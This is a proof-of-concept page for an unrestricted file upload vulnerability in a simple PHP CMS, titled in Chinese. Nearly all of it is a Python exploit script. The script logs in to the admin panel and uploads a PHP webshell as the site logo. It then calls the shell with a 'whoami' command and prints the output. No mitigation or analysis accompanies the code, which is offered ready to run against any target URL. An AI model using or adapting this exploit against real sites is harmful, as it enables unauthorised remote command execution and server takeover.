CVE-2025-15262 BiggiDroid Simple PHP CMS 1.0 Site Logo Handler无限制文件上传漏洞

import requests import sys # CVE-2025-15262 PoC - Unrestricted File Upload in BiggiDroid Simple PHP CMS 1.0 # Target: /admin/edit.php (Site Logo Handler component) def exploit(target_url, username, password, webshell_path): """ Exploit for CVE-2025-15262 Args: target_url: Base URL of the vulnerable site username: Admin username password: Admin password webshell_path: Path to webshell file to upload """ session = requests.Session() # Step 1: Login to admin panel login_url = f"{target_url}/admin/login.php" login_data = { 'username': username, 'password': password } try: response = session.post(login_url, data=login_data, timeout=10) if 'admin' not in response.text.lower() and response.status_code != 200: print("[-] Login failed") return False print("[+] Login successful") # Step 2: Upload malicious file via Site Logo Handler upload_url = f"{target_url}/admin/edit.php" with open(webshell_path, 'rb') as f: files = {'image': ('shell.php', f, 'application/php')} data = {'action': 'upload_logo'} response = session.post(upload_url, files=files, data=data, timeout=10) # Step 3: Access uploaded webshell shell_url = f"{target_url}/images/shell.php" response = session.get(shell_url, params={'cmd': 'whoami'}, timeout=10) if response.status_code == 200: print(f"[+] Shell uploaded successfully: {shell_url}") print(f"[+] Command output: {response.text}") return True else: print("[-] Exploitation failed") return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> <webshell_path>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] shell = sys.argv[4] exploit(target, user, pwd, shell)